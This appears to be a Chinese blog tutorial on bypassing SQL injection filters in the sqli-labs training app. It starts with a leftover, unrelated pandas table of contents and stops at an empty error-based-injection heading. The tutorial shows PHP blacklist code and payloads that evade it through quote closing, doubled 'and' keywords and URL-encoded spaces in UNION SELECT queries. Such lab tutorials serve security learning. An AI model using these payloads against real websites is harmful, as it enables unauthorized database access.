文章目录
- 前言
- 一、pandas是什么?
- 二、使用步骤
- 1.引入库
- 2.读入数据
- 总结
一.注释符绕过
当网页源代码中出现如下代码后,常见的注释符号将无效,因此需要通过特殊手段进行绕过
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
#若id中提取出的字符中包含reg(#)类型的特殊符号将会被replace类型的符号(空)替换
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
上述代码中无法使用符号(#)或(--+)将后面的sql语句注释,因此需要通过特殊手段将后面多出的单引号闭合
演示案例:
单引号闭合:?id=1' and 1=1 ' 括号单引号:?id=1') and 1=1( '
双引号闭合:?id=1'' and 1=1''
$sql="SELECT * FROM users WHERE id='id=1' and 1=1 '' LIMIT 0,1";
二.and 和 or 过滤绕过
过滤源代码
function blacklist($id)
{
#若提取的id中包含or字符,将or替换为空$id= preg_replace('/or/i',"", $id); $id= preg_replace('/AND/i',"", $id); return $id;
}注:i:代表无论or/and 是大写还是小写统一转译为小写
绕过手法
复写过滤字符
?id=1' anandd 1=1--+
三.空格过滤绕过
过滤代码:
$id= blacklist($id);
$hint=$id;function blacklist($id)
{$id= preg_replace('/or/i',"", $id); $id= preg_replace('/and/i',"", $id); $id= preg_replace('/[\/\*]/',"", $id); $id= preg_replace('/[--]/',"", $id); $id= preg_replace('/[#]/',"", $id); $id= preg_replace('/[\s]/',"", $id); $id= preg_replace('/[\/\\\\]/',"", $id); return $id;
}
绕过手法:
在不同的环境中能够绕过的URL编码有所不同,因此需要多次尝试。
演示案例:
未使用URL编码注入前:符号被过滤
http://192.168.100.10/sql/Less-26/index.php?id=1' union select 1,2,3--+;
使用URL注入编码后
http://192.168.100.10/sql/Less-26/index.php?id=1%A0union%A0select 1,2,3--+;
报错注入: